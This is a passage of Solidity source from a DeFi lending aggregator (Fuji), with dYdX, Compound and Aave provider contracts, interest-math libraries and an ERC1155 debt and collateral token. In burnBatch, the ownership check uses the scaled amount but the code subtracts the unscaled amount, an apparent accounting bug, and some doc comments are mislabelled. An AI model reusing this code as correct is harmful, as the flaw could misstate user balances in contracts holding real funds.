dydxContract.operate(_getAccountArgs(), _getActionsArgs(marketId, _amount, true)); } /** * @dev Returns the current borrowing rate (APR) of a ETH/ERC20_Token, in ray(1e27). * @param _asset: token address to query the current borrowing rate. */ function getBorrowRateFor(address _asset) external view override returns (uint256) { SoloMarginContract dydxContract = SoloMarginContract(getDydxAddress()); uint256 marketId = _getMarketId(dydxContract, _asset); SoloMarginContract.Rate memory _rate = dydxContract.getMarketInterestRate(marketId); return (_rate.value).mul(1e9).mul(365 days); } /** * @dev Returns the borrow balance of a ETH/ERC20_Token. * @param _asset: token address to query the balance. */ function getBorrowBalance(address _asset) external view override returns (uint256) { SoloMarginContract dydxContract = SoloMarginContract(getDydxAddress()); uint256 marketId = _getMarketId(dydxContract, _asset); SoloMarginContract.Info memory account = SoloMarginContract.Info({ owner: msg.sender, number: 0 }); SoloMarginContract.Wei memory structbalance = dydxContract.getAccountWei(account, marketId); return structbalance.value; } /** * @dev Returns the borrow balance of a ETH/ERC20_Token. * @param _asset: token address to query the balance. * @param _who: address of the account. */ function getBorrowBalanceOf(address _asset, address _who) external override returns (uint256) { SoloMarginContract dydxContract = SoloMarginContract(getDydxAddress()); uint256 marketId = _getMarketId(dydxContract, _asset); SoloMarginContract.Info memory account = SoloMarginContract.Info({ owner: _who, number: 0 }); SoloMarginContract.Wei memory structbalance = dydxContract.getAccountWei(account, marketId); return structbalance.value; } /** * @dev Returns the borrow balance of a ETH/ERC20_Token. * @param _asset: token address to query the balance. */ function getDepositBalance(address _asset) external view override returns (uint256) { SoloMarginContract dydxContract = SoloMarginContract(getDydxAddress()); uint256 marketId = _getMarketId(dydxContract, _asset); SoloMarginContract.Info memory account = SoloMarginContract.Info({ owner: msg.sender, number: 0 }); SoloMarginContract.Wei memory structbalance = dydxContract.getAccountWei(account, marketId); return structbalance.value; } } // SPDX-License-Identifier: MIT pragma solidity >=0.4.25 <0.7.5; import { SafeMath } from "@openzeppelin/contracts/math/SafeMath.sol"; import { UniERC20 } from "../Libraries/LibUniERC20.sol"; import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import { IProvider } from "./IProvider.sol"; interface IGenCToken is IERC20 { function redeem(uint256) external returns (uint256); function redeemUnderlying(uint256) external returns (uint256); function borrow(uint256 borrowAmount) external returns (uint256); function exchangeRateCurrent() external returns (uint256); function exchangeRateStored() external view returns (uint256); function borrowRatePerBlock() external view returns (uint256); function balanceOfUnderlying(address owner) external returns (uint256); function getAccountSnapshot(address account) external view returns ( uint256, uint256, uint256, uint256 ); function totalBorrowsCurrent() external returns (uint256); function borrowBalanceCurrent(address account) external returns (uint256); function borrowBalanceStored(address account) external view returns (uint256); function getCash() external view returns (uint256); } interface ICErc20 is IGenCToken { function mint(uint256) external returns (uint256); function repayBorrow(uint256 repayAmount) external returns (uint256); function repayBorrowBehalf(address borrower, uint256 repayAmount) external returns (uint256); } interface ICEth is IGenCToken { function mint() external payable; function repayBorrow() external payable; function repayBorrowBehalf(address borrower) external payable; } interface IComptroller { function markets(address) external returns (bool, uint256); function enterMarkets(address[] calldata) external returns (uint256[] memory); function exitMarket(address cTokenAddress) external returns (uint256); function getAccountLiquidity(address) external view returns ( uint256, uint256, uint256 ); } interface IFujiMappings { function addressMapping(address) external view returns (address); } contract HelperFunct { function _isETH(address token) internal pure returns (bool) { return (token == address(0) || token == address(0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE)); } function _getMappingAddr() internal pure returns (address) { return 0x6b09443595BFb8F91eA837c7CB4Fe1255782093b; } function _getComptrollerAddress() internal pure returns (address) { return 0x3d9819210A31b4961b30EF54bE2aeD79B9c9Cd3B; } //Compound functions /** * @dev Approves vault's assets as collateral for Compound Protocol. * @param _cTokenAddress: asset type to be approved as collateral. */ function _enterCollatMarket(address _cTokenAddress) internal { // Create a reference to the corresponding network Comptroller IComptroller comptroller = IComptroller(_getComptrollerAddress()); address[] memory cTokenMarkets = new address[](1); cTokenMarkets[0] = _cTokenAddress; comptroller.enterMarkets(cTokenMarkets); } /** * @dev Removes vault's assets as collateral for Compound Protocol. * @param _cTokenAddress: asset type to be removed as collateral. */ function _exitCollatMarket(address _cTokenAddress) internal { // Create a reference to the corresponding network Comptroller IComptroller comptroller = IComptroller(_getComptrollerAddress()); comptroller.exitMarket(_cTokenAddress); } } contract ProviderCompound is IProvider, HelperFunct { using SafeMath for uint256; using UniERC20 for IERC20; //Provider Core Functions /** * @dev Deposit ETH/ERC20_Token. * @param _asset: token address to deposit. (For ETH: 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE) * @param _amount: token amount to deposit. */ function deposit(address _asset, uint256 _amount) external payable override { //Get cToken address from mapping address cTokenAddr = IFujiMappings(_getMappingAddr()).addressMapping(_asset); //Enter and/or ensure collateral market is enacted _enterCollatMarket(cTokenAddr); if (_isETH(_asset)) { // Create a reference to the cToken contract ICEth cToken = ICEth(cTokenAddr); //Compound protocol Mints cTokens, ETH method cToken.mint{ value: _amount }(); } else { // Create reference to the ERC20 contract IERC20 erc20token = IERC20(_asset); // Create a reference to the cToken contract ICErc20 cToken = ICErc20(cTokenAddr); //Checks, Vault balance of ERC20 to make deposit require(erc20token.balanceOf(address(this)) >= _amount, "Not enough Balance"); //Approve to move ERC20tokens erc20token.uniApprove(address(cTokenAddr), _amount); // Compound Protocol mints cTokens, trhow error if not require(cToken.mint(_amount) == 0, "Deposit-failed"); } } /** * @dev Withdraw ETH/ERC20_Token. * @param _asset: token address to withdraw. (For ETH: 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE) * @param _amount: token amount to withdraw. */ function withdraw(address _asset, uint256 _amount) external payable override { //Get cToken address from mapping address cTokenAddr = IFujiMappings(_getMappingAddr()).addressMapping(_asset); // Create a reference to the corresponding cToken contract IGenCToken cToken = IGenCToken(cTokenAddr); //Compound Protocol Redeem Process, throw errow if not. require(cToken.redeemUnderlying(_amount) == 0, "Withdraw-failed"); } /** * @dev Borrow ETH/ERC20_Token. * @param _asset token address to borrow.(For ETH: 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE) * @param _amount: token amount to borrow. */ function borrow(address _asset, uint256 _amount) external payable override { //Get cToken address from mapping address cTokenAddr = IFujiMappings(_getMappingAddr()).addressMapping(_asset); // Create a reference to the corresponding cToken contract IGenCToken cToken = IGenCToken(cTokenAddr); //Enter and/or ensure collateral market is enacted //_enterCollatMarket(cTokenAddr); //Compound Protocol Borrow Process, throw errow if not. require(cToken.borrow(_amount) == 0, "borrow-failed"); } /** * @dev Payback borrowed ETH/ERC20_Token. * @param _asset token address to payback.(For ETH: 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE) * @param _amount: token amount to payback. */ function payback(address _asset, uint256 _amount) external payable override { //Get cToken address from mapping address cTokenAddr = IFujiMappings(_getMappingAddr()).addressMapping(_asset); if (_isETH(_asset)) { // Create a reference to the corresponding cToken contract ICEth cToken = ICEth(cTokenAddr); cToken.repayBorrow{ value: msg.value }(); } else { // Create reference to the ERC20 contract IERC20 erc20token = IERC20(_asset); // Create a reference to the corresponding cToken contract ICErc20 cToken = ICErc20(cTokenAddr); // Check there is enough balance to pay require(erc20token.balanceOf(address(this)) >= _amount, "Not-enough-token"); erc20token.uniApprove(address(cTokenAddr), _amount); cToken.repayBorrow(_amount); } } /** * @dev Returns the current borrowing rate (APR) of a ETH/ERC20_Token, in ray(1e27). * @param _asset: token address to query the current borrowing rate. */ function getBorrowRateFor(address _asset) external view override returns (uint256) { address cTokenAddr = IFujiMappings(_getMappingAddr()).addressMapping(_asset); //Block Rate transformed for common mantissa for Fuji in ray (1e27), Note: Compound uses base 1e18 uint256 bRateperBlock = (IGenCToken(cTokenAddr).borrowRatePerBlock()).mul(10**9); // The approximate number of blocks per year that is assumed by the Compound interest rate model uint256 blocksperYear = 2102400; return bRateperBlock.mul(blocksperYear); } /** * @dev Returns the borrow balance of a ETH/ERC20_Token. * @param _asset: token address to query the balance. */ function getBorrowBalance(address _asset) external view override returns (uint256) { address cTokenAddr = IFujiMappings(_getMappingAddr()).addressMapping(_asset); return IGenCToken(cTokenAddr).borrowBalanceStored(msg.sender); } /** * @dev Return borrow balance of ETH/ERC20_Token. * This function is the accurate way to get Compound borrow balance. * It costs ~84K gas and is not a view function. * @param _asset token address to query the balance. * @param _who address of the account. */ function getBorrowBalanceOf(address _asset, address _who) external override returns (uint256) { address cTokenAddr = IFujiMappings(_getMappingAddr()).addressMapping(_asset); return IGenCToken(cTokenAddr).borrowBalanceCurrent(_who); } /** * @dev Returns the deposit balance of a ETH/ERC20_Token. * @param _asset: token address to query the balance. */ function getDepositBalance(address _asset) external view override returns (uint256) { address cTokenAddr = IFujiMappings(_getMappingAddr()).addressMapping(_asset); uint256 cTokenBal = IGenCToken(cTokenAddr).balanceOf(msg.sender); uint256 exRate = IGenCToken(cTokenAddr).exchangeRateStored(); return exRate.mul(cTokenBal).div(1e18); } } // SPDX-License-Identifier: MIT pragma solidity >=0.4.25 <0.7.0; pragma experimental ABIEncoderV2; import { SafeMath } from "@openzeppelin/contracts/math/SafeMath.sol"; import { UniERC20 } from "../Libraries/LibUniERC20.sol"; import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import { IProvider } from "./IProvider.sol"; interface ITokenInterface { function approve(address, uint256) external; function transfer(address, uint256) external; function transferFrom( address, address, uint256 ) external; function deposit() external payable; function withdraw(uint256) external; function balanceOf(address) external view returns (uint256); function decimals() external view returns (uint256); } interface IAaveInterface { function deposit( address _asset, uint256 _amount, address _onBehalfOf, uint16 _referralCode ) external; function withdraw( address _asset, uint256 _amount, address _to ) external; function borrow( address _asset, uint256 _amount, uint256 _interestRateMode, uint16 _referralCode, address _onBehalfOf ) external; function repay( address _asset, uint256 _amount, uint256 _rateMode, address _onBehalfOf ) external; function setUserUseReserveAsCollateral(address _asset, bool _useAsCollateral) external; } interface AaveLendingPoolProviderInterface { function getLendingPool() external view returns (address); } interface AaveDataProviderInterface { function getReserveTokensAddresses(address _asset) external view returns ( address aTokenAddress, address stableDebtTokenAddress, address variableDebtTokenAddress ); function getUserReserveData(address _asset, address _user) external view returns ( uint256 currentATokenBalance, uint256 currentStableDebt, uint256 currentVariableDebt, uint256 principalStableDebt, uint256 scaledVariableDebt, uint256 stableBorrowRate, uint256 liquidityRate, uint40 stableRateLastUpdated, bool usageAsCollateralEnabled ); function getReserveData(address _asset) external view returns ( uint256 availableLiquidity, uint256 totalStableDebt, uint256 totalVariableDebt, uint256 liquidityRate, uint256 variableBorrowRate, uint256 stableBorrowRate, uint256 averageStableBorrowRate, uint256 liquidityIndex, uint256 variableBorrowIndex, uint40 lastUpdateTimestamp ); } interface AaveAddressProviderRegistryInterface { function getAddressesProvidersList() external view returns (address[] memory); } contract ProviderAave is IProvider { using SafeMath for uint256; using UniERC20 for IERC20; function _getAaveProvider() internal pure returns (AaveLendingPoolProviderInterface) { return AaveLendingPoolProviderInterface(0xB53C1a33016B2DC2fF3653530bfF1848a515c8c5); //mainnet } function _getAaveDataProvider() internal pure returns (AaveDataProviderInterface) { return AaveDataProviderInterface(0x057835Ad21a177dbdd3090bB1CAE03EaCF78Fc6d); //mainnet } function _getWethAddr() internal pure returns (address) { return 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; // Mainnet WETH Address } function _getEthAddr() internal pure returns (address) { return 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE; // ETH Address } function _getIsColl( AaveDataProviderInterface _aaveData, address _token, address _user ) internal view returns (bool isCol) { (, , , , , , , , isCol) = _aaveData.getUserReserveData(_token, _user); } function _convertEthToWeth( bool _isEth, ITokenInterface _token, uint256 _amount ) internal { if (_isEth) _token.deposit{ value: _amount }(); } function _convertWethToEth( bool _isEth, ITokenInterface _token, uint256 _amount ) internal { if (_isEth) { _token.approve(address(_token), _amount); _token.withdraw(_amount); } } /** * @dev Return the borrowing rate of ETH/ERC20_Token. * @param _asset to query the borrowing rate. */ function getBorrowRateFor(address _asset) external view override returns (uint256) { AaveDataProviderInterface aaveData = _getAaveDataProvider(); (, , , , uint256 variableBorrowRate, , , , , ) = AaveDataProviderInterface(aaveData).getReserveData( _asset == _getEthAddr() ? _getWethAddr() : _asset ); return variableBorrowRate; } /** * @dev Return borrow balance of ETH/ERC20_Token. * @param _asset token address to query the balance. */ function getBorrowBalance(address _asset) external view override returns (uint256) { AaveDataProviderInterface aaveData = _getAaveDataProvider(); bool isEth = _asset == _getEthAddr(); address _token = isEth ? _getWethAddr() : _asset; (, , uint256 variableDebt, , , , , , ) = aaveData.getUserReserveData(_token, msg.sender); return variableDebt; } /** * @dev Return borrow balance of ETH/ERC20_Token. * @param _asset token address to query the balance. * @param _who address of the account. */ function getBorrowBalanceOf(address _asset, address _who) external override returns (uint256) { AaveDataProviderInterface aaveData = _getAaveDataProvider(); bool isEth = _asset == _getEthAddr(); address _token = isEth ? _getWethAddr() : _asset; (, , uint256 variableDebt, , , , , , ) = aaveData.getUserReserveData(_token, _who); return variableDebt; } /** * @dev Return deposit balance of ETH/ERC20_Token. * @param _asset token address to query the balance. */ function getDepositBalance(address _asset) external view override returns (uint256) { AaveDataProviderInterface aaveData = _getAaveDataProvider(); bool isEth = _asset == _getEthAddr(); address _token = isEth ? _getWethAddr() : _asset; (uint256 atokenBal, , , , , , , , ) = aaveData.getUserReserveData(_token, msg.sender); return atokenBal; } /** * @dev Deposit ETH/ERC20_Token. * @param _asset token address to deposit.(For ETH: 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE) * @param _amount token amount to deposit. */ function deposit(address _asset, uint256 _amount) external payable override { IAaveInterface aave = IAaveInterface(_getAaveProvider().getLendingPool()); AaveDataProviderInterface aaveData = _getAaveDataProvider(); bool isEth = _asset == _getEthAddr(); address _token = isEth ? _getWethAddr() : _asset; ITokenInterface tokenContract = ITokenInterface(_token); if (isEth) { _amount = _amount == uint256(-1) ? address(this).balance : _amount; _convertEthToWeth(isEth, tokenContract, _amount); } else { _amount = _amount == uint256(-1) ? tokenContract.balanceOf(address(this)) : _amount; } tokenContract.approve(address(aave), _amount); aave.deposit(_token, _amount, address(this), 0); if (!_getIsColl(aaveData, _token, address(this))) { aave.setUserUseReserveAsCollateral(_token, true); } } /** * @dev Borrow ETH/ERC20_Token. * @param _asset token address to borrow.(For ETH: 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE) * @param _amount token amount to borrow. */ function borrow(address _asset, uint256 _amount) external payable override { IAaveInterface aave = IAaveInterface(_getAaveProvider().getLendingPool()); bool isEth = _asset == _getEthAddr(); address _token = isEth ? _getWethAddr() : _asset; aave.borrow(_token, _amount, 2, 0, address(this)); _convertWethToEth(isEth, ITokenInterface(_token), _amount); } /** * @dev Withdraw ETH/ERC20_Token. * @param _asset token address to withdraw. * @param _amount token amount to withdraw. */ function withdraw(address _asset, uint256 _amount) external payable override { IAaveInterface aave = IAaveInterface(_getAaveProvider().getLendingPool()); bool isEth = _asset == _getEthAddr(); address _token = isEth ? _getWethAddr() : _asset; ITokenInterface tokenContract = ITokenInterface(_token); uint256 initialBal = tokenContract.balanceOf(address(this)); aave.withdraw(_token, _amount, address(this)); uint256 finalBal = tokenContract.balanceOf(address(this)); _amount = finalBal.sub(initialBal); _convertWethToEth(isEth, tokenContract, _amount); } /** * @dev Payback borrowed ETH/ERC20_Token. * @param _asset token address to payback. * @param _amount token amount to payback. */ function payback(address _asset, uint256 _amount) external payable override { IAaveInterface aave = IAaveInterface(_getAaveProvider().getLendingPool()); AaveDataProviderInterface aaveData = _getAaveDataProvider(); bool isEth = _asset == _getEthAddr(); address _token = isEth ? _getWethAddr() : _asset; ITokenInterface tokenContract = ITokenInterface(_token); (, , uint256 variableDebt, , , , , , ) = aaveData.getUserReserveData(_token, address(this)); _amount = _amount == uint256(-1) ? variableDebt : _amount; if (isEth) _convertEthToWeth(isEth, tokenContract, _amount); tokenContract.approve(address(aave), _amount); aave.repay(_token, _amount, 2, address(this)); } } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; import { SafeMath } from "@openzeppelin/contracts/math/SafeMath.sol"; import { WadRayMath } from "./WadRayMath.sol"; library MathUtils { using SafeMath for uint256; using WadRayMath for uint256; /// @dev Ignoring leap years uint256 internal constant _SECONDS_PER_YEAR = 365 days; /** * @dev Function to calculate the interest accumulated using a linear interest rate formula * @param rate The interest rate, in ray * @param lastUpdateTimestamp The timestamp of the last update of the interest * @return The interest rate linearly accumulated during the timeDelta, in ray **/ function calculateLinearInterest(uint256 rate, uint40 lastUpdateTimestamp) internal view returns (uint256) { //solhint-disable-next-line uint256 timeDifference = block.timestamp.sub(uint256(lastUpdateTimestamp)); return (rate.mul(timeDifference) / _SECONDS_PER_YEAR).add(WadRayMath.ray()); } /** * @dev Function to calculate the interest using a compounded interest rate formula * To avoid expensive exponentiation, the calculation is performed using a binomial approximation: * * (1+x)^n = 1+n*x+[n/2*(n-1)]*x^2+[n/6*(n-1)*(n-2)*x^3... * * The approximation slightly underpays liquidity providers and undercharges borrowers, with the advantage of great gas cost reductions * The whitepaper contains reference to the approximation and a table showing the margin of error per different time periods * * @param rate The interest rate, in ray * @param lastUpdateTimestamp The timestamp of the last update of the interest * @return The interest rate compounded during the timeDelta, in ray **/ function calculateCompoundedInterest( uint256 rate, uint40 lastUpdateTimestamp, uint256 currentTimestamp ) internal pure returns (uint256) { //solhint-disable-next-line uint256 exp = currentTimestamp.sub(uint256(lastUpdateTimestamp)); if (exp == 0) { return WadRayMath.ray(); } uint256 expMinusOne = exp - 1; uint256 expMinusTwo = exp > 2 ? exp - 2 : 0; uint256 ratePerSecond = rate / _SECONDS_PER_YEAR; uint256 basePowerTwo = ratePerSecond.rayMul(ratePerSecond); uint256 basePowerThree = basePowerTwo.rayMul(ratePerSecond); uint256 secondTerm = exp.mul(expMinusOne).mul(basePowerTwo) / 2; uint256 thirdTerm = exp.mul(expMinusOne).mul(expMinusTwo).mul(basePowerThree) / 6; return WadRayMath.ray().add(ratePerSecond.mul(exp)).add(secondTerm).add(thirdTerm); } /** * @dev Calculates the compounded interest between the timestamp of the last update and the current block timestamp * @param rate The interest rate (in ray) * @param lastUpdateTimestamp The timestamp from which the interest accumulation needs to be calculated **/ function calculateCompoundedInterest(uint256 rate, uint40 lastUpdateTimestamp) internal view returns (uint256) { //solhint-disable-next-line return calculateCompoundedInterest(rate, lastUpdateTimestamp, block.timestamp); } } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; import { Errors } from "./Errors.sol"; /** * @title WadRayMath library * @author Aave * @dev Provides mul and div function for wads (decimal numbers with 18 digits precision) and rays (decimals with 27 digits) **/ library WadRayMath { uint256 internal constant _WAD = 1e18; uint256 internal constant _HALF_WAD = _WAD / 2; uint256 internal constant _RAY = 1e27; uint256 internal constant _HALF_RAY = _RAY / 2; uint256 internal constant _WAD_RAY_RATIO = 1e9; /** * @return One ray, 1e27 **/ function ray() internal pure returns (uint256) { return _RAY; } /** * @return One wad, 1e18 **/ function wad() internal pure returns (uint256) { return _WAD; } /** * @return Half ray, 1e27/2 **/ function halfRay() internal pure returns (uint256) { return _HALF_RAY; } /** * @return Half ray, 1e18/2 **/ function halfWad() internal pure returns (uint256) { return _HALF_WAD; } /** * @dev Multiplies two wad, rounding half up to the nearest wad * @param a Wad * @param b Wad * @return The result of a*b, in wad **/ function wadMul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0 || b == 0) { return 0; } require(a <= (type(uint256).max - _HALF_WAD) / b, Errors.MATH_MULTIPLICATION_OVERFLOW); return (a * b + _HALF_WAD) / _WAD; } /** * @dev Divides two wad, rounding half up to the nearest wad * @param a Wad * @param b Wad * @return The result of a/b, in wad **/ function wadDiv(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0, Errors.MATH_DIVISION_BY_ZERO); uint256 halfB = b / 2; require(a <= (type(uint256).max - halfB) / _WAD, Errors.MATH_MULTIPLICATION_OVERFLOW); return (a * _WAD + halfB) / b; } /** * @dev Multiplies two ray, rounding half up to the nearest ray * @param a Ray * @param b Ray * @return The result of a*b, in ray **/ function rayMul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0 || b == 0) { return 0; } require(a <= (type(uint256).max - _HALF_RAY) / b, Errors.MATH_MULTIPLICATION_OVERFLOW); return (a * b + _HALF_RAY) / _RAY; } /** * @dev Divides two ray, rounding half up to the nearest ray * @param a Ray * @param b Ray * @return The result of a/b, in ray **/ function rayDiv(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0, Errors.MATH_DIVISION_BY_ZERO); uint256 halfB = b / 2; require(a <= (type(uint256).max - halfB) / _RAY, Errors.MATH_MULTIPLICATION_OVERFLOW); return (a * _RAY + halfB) / b; } /** * @dev Casts ray down to wad * @param a Ray * @return a casted to wad, rounded half up to the nearest wad **/ function rayToWad(uint256 a) internal pure returns (uint256) { uint256 halfRatio = _WAD_RAY_RATIO / 2; uint256 result = halfRatio + a; require(result >= halfRatio, Errors.MATH_ADDITION_OVERFLOW); return result / _WAD_RAY_RATIO; } /** * @dev Converts wad up to ray * @param a Wad * @return a converted in ray **/ function wadToRay(uint256 a) internal pure returns (uint256) { uint256 result = a * _WAD_RAY_RATIO; require(result / _WAD_RAY_RATIO == a, Errors.MATH_MULTIPLICATION_OVERFLOW); return result; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.12; pragma experimental ABIEncoderV2; import { IFujiERC1155 } from "./IFujiERC1155.sol"; import { FujiBaseERC1155 } from "./FujiBaseERC1155.sol"; import { Ownable } from "@openzeppelin/contracts/access/Ownable.sol"; import { WadRayMath } from "../Libraries/WadRayMath.sol"; import { MathUtils } from "../Libraries/MathUtils.sol"; import { Errors } from "../Libraries/Errors.sol"; import { Address } from "@openzeppelin/contracts/utils/Address.sol"; contract F1155Manager is Ownable { using Address for address; // Controls for Mint-Burn Operations mapping(address => bool) public addrPermit; modifier onlyPermit() { require(addrPermit[_msgSender()] || msg.sender == owner(), Errors.VL_NOT_AUTHORIZED); _; } function setPermit(address _address, bool _permit) public onlyOwner { require((_address).isContract(), Errors.VL_NOT_A_CONTRACT); addrPermit[_address] = _permit; } } contract FujiERC1155 is IFujiERC1155, FujiBaseERC1155, F1155Manager { using WadRayMath for uint256; //FujiERC1155 Asset ID Mapping //AssetType => asset reference address => ERC1155 Asset ID mapping(AssetType => mapping(address => uint256)) public assetIDs; //Control mapping that returns the AssetType of an AssetID mapping(uint256 => AssetType) public assetIDtype; uint64 public override qtyOfManagedAssets; //Asset ID Liquidity Index mapping //AssetId => Liquidity index for asset ID mapping(uint256 => uint256) public indexes; // Optimizer Fee expressed in Ray, where 1 ray = 100% APR //uint256 public optimizerFee; //uint256 public lastUpdateTimestamp; //uint256 public fujiIndex; /// @dev Ignoring leap years //uint256 internal constant SECONDS_PER_YEAR = 365 days; constructor() public { //fujiIndex = WadRayMath.ray(); //optimizerFee = 1e24; } /** * @dev Updates Index of AssetID * @param _assetID: ERC1155 ID of the asset which state will be updated. * @param newBalance: Amount **/ function updateState(uint256 _assetID, uint256 newBalance) external override onlyPermit { uint256 total = totalSupply(_assetID); if (newBalance > 0 && total > 0 && newBalance > total) { uint256 diff = newBalance.sub(total); uint256 amountToIndexRatio = (diff.wadToRay()).rayDiv(total.wadToRay()); uint256 result = amountToIndexRatio.add(WadRayMath.ray()); result = result.rayMul(indexes[_assetID]); require(result <= type(uint128).max, Errors.VL_INDEX_OVERFLOW); indexes[_assetID] = uint128(result); // TODO: calculate interest rate for a fujiOptimizer Fee. /* if(lastUpdateTimestamp==0){ lastUpdateTimestamp = block.timestamp; } uint256 accrued = _calculateCompoundedInterest( optimizerFee, lastUpdateTimestamp, block.timestamp ).rayMul(fujiIndex); fujiIndex = accrued; lastUpdateTimestamp = block.timestamp; */ } } /** * @dev Returns the total supply of Asset_ID with accrued interest. * @param _assetID: ERC1155 ID of the asset which state will be updated. **/ function totalSupply(uint256 _assetID) public view virtual override returns (uint256) { // TODO: include interest accrued by Fuji OptimizerFee return super.totalSupply(_assetID).rayMul(indexes[_assetID]); } /** * @dev Returns the scaled total supply of the token ID. Represents sum(token ID Principal /index) * @param _assetID: ERC1155 ID of the asset which state will be updated. **/ function scaledTotalSupply(uint256 _assetID) public view virtual returns (uint256) { return super.totalSupply(_assetID); } /** * @dev Returns the principal + accrued interest balance of the user * @param _account: address of the User * @param _assetID: ERC1155 ID of the asset which state will be updated. **/ function balanceOf(address _account, uint256 _assetID) public view override(FujiBaseERC1155, IFujiERC1155) returns (uint256) { uint256 scaledBalance = super.balanceOf(_account, _assetID); if (scaledBalance == 0) { return 0; } // TODO: include interest accrued by Fuji OptimizerFee return scaledBalance.rayMul(indexes[_assetID]); } /** * @dev Returns the balance of User, split into owed amounts to BaseProtocol and FujiProtocol * @param _account: address of the User * @param _assetID: ERC1155 ID of the asset which state will be updated. **/ /* function splitBalanceOf( address _account, uint256 _assetID ) public view override returns (uint256,uint256) { uint256 scaledBalance = super.balanceOf(_account, _assetID); if (scaledBalance == 0) { return (0,0); } else { TO DO COMPUTATION return (baseprotocol, fuji); } } */ /** * @dev Returns Scaled Balance of the user (e.g. balance/index) * @param _account: address of the User * @param _assetID: ERC1155 ID of the asset which state will be updated. **/ function scaledBalanceOf(address _account, uint256 _assetID) public view virtual returns (uint256) { return super.balanceOf(_account, _assetID); } /** * @dev Returns the sum of balance of the user for an AssetType. * This function is used for when AssetType have units of account of the same value (e.g stablecoins) * @param _account: address of the User * @param _type: enum AssetType, 0 = Collateral asset, 1 = debt asset **/ /* function balanceOfBatchType(address _account, AssetType _type) external view override returns (uint256 total) { uint256[] memory IDs = engagedIDsOf(_account, _type); for(uint i; i < IDs.length; i++ ){ total = total.add(balanceOf(_account, IDs[i])); } } */ /** * @dev Mints tokens for Collateral and Debt receipts for the Fuji Protocol * Emits a {TransferSingle} event. * Requirements: * - `_account` cannot be the zero address. * - If `account` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the * acceptance magic value. * - `_amount` should be in WAD */ function mint( address _account, uint256 _id, uint256 _amount, bytes memory _data ) external override onlyPermit { require(_account != address(0), Errors.VL_ZERO_ADDR_1155); address operator = _msgSender(); uint256 accountBalance = _balances[_id][_account]; uint256 assetTotalBalance = _totalSupply[_id]; uint256 amountScaled = _amount.rayDiv(indexes[_id]); require(amountScaled != 0, Errors.VL_INVALID_MINT_AMOUNT); _balances[_id][_account] = accountBalance.add(amountScaled); _totalSupply[_id] = assetTotalBalance.add(amountScaled); emit TransferSingle(operator, address(0), _account, _id, _amount); _doSafeTransferAcceptanceCheck(operator, address(0), _account, _id, _amount, _data); } /** * @dev [Batched] version of {mint}. * Requirements: * - `_ids` and `_amounts` must have the same length. * - If `_to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the * acceptance magic value. */ function mintBatch( address _to, uint256[] memory _ids, uint256[] memory _amounts, bytes memory _data ) external onlyPermit { require(_to != address(0), Errors.VL_ZERO_ADDR_1155); require(_ids.length == _amounts.length, Errors.VL_INPUT_ERROR); address operator = _msgSender(); uint256 accountBalance; uint256 assetTotalBalance; uint256 amountScaled; for (uint256 i = 0; i < _ids.length; i++) { accountBalance = _balances[_ids[i]][_to]; assetTotalBalance = _totalSupply[_ids[i]]; amountScaled = _amounts[i].rayDiv(indexes[_ids[i]]); require(amountScaled != 0, Errors.VL_INVALID_MINT_AMOUNT); _balances[_ids[i]][_to] = accountBalance.add(amountScaled); _totalSupply[_ids[i]] = assetTotalBalance.add(amountScaled); } emit TransferBatch(operator, address(0), _to, _ids, _amounts); _doSafeBatchTransferAcceptanceCheck(operator, address(0), _to, _ids, _amounts, _data); } /** * @dev Destroys `_amount` receipt tokens of token type `_id` from `account` for the Fuji Protocol * Requirements: * - `account` cannot be the zero address. * - `account` must have at least `_amount` tokens of token type `_id`. * - `_amount` should be in WAD */ function burn( address _account, uint256 _id, uint256 _amount ) external override onlyPermit { require(_account != address(0), Errors.VL_ZERO_ADDR_1155); address operator = _msgSender(); uint256 accountBalance = _balances[_id][_account]; uint256 assetTotalBalance = _totalSupply[_id]; uint256 amountScaled = _amount.rayDiv(indexes[_id]); require(amountScaled != 0 && accountBalance >= amountScaled, Errors.VL_INVALID_BURN_AMOUNT); _balances[_id][_account] = accountBalance.sub(amountScaled); _totalSupply[_id] = assetTotalBalance.sub(amountScaled); emit TransferSingle(operator, _account, address(0), _id, _amount); } /** * @dev [Batched] version of {burn}. * Requirements: * - `_ids` and `_amounts` must have the same length. */ function burnBatch( address _account, uint256[] memory _ids, uint256[] memory _amounts ) external onlyPermit { require(_account != address(0), Errors.VL_ZERO_ADDR_1155); require(_ids.length == _amounts.length, Errors.VL_INPUT_ERROR); address operator = _msgSender(); uint256 accountBalance; uint256 assetTotalBalance; uint256 amountScaled; for (uint256 i = 0; i < _ids.length; i++) { uint256 amount = _amounts[i]; accountBalance = _balances[_ids[i]][_account]; assetTotalBalance = _totalSupply[_ids[i]]; amountScaled = _amounts[i].rayDiv(indexes[_ids[i]]); require(amountScaled != 0 && accountBalance >= amountScaled, Errors.VL_INVALID_BURN_AMOUNT); _balances[_ids[i]][_account] = accountBalance.sub(amount); _totalSupply[_ids[i]] = assetTotalBalance.sub(amount); } emit TransferBatch(operator, _account, address(0), _ids, _amounts); } //Getter Functions /** * @dev Getter Function for the Asset ID locally managed * @param _type: enum AssetType, 0 = Collateral asset, 1 = debt asset * @param _addr: Reference Address of the Asset */ function getAssetID(AssetType _type, address _addr) external view override returns (uint256 id) { id = 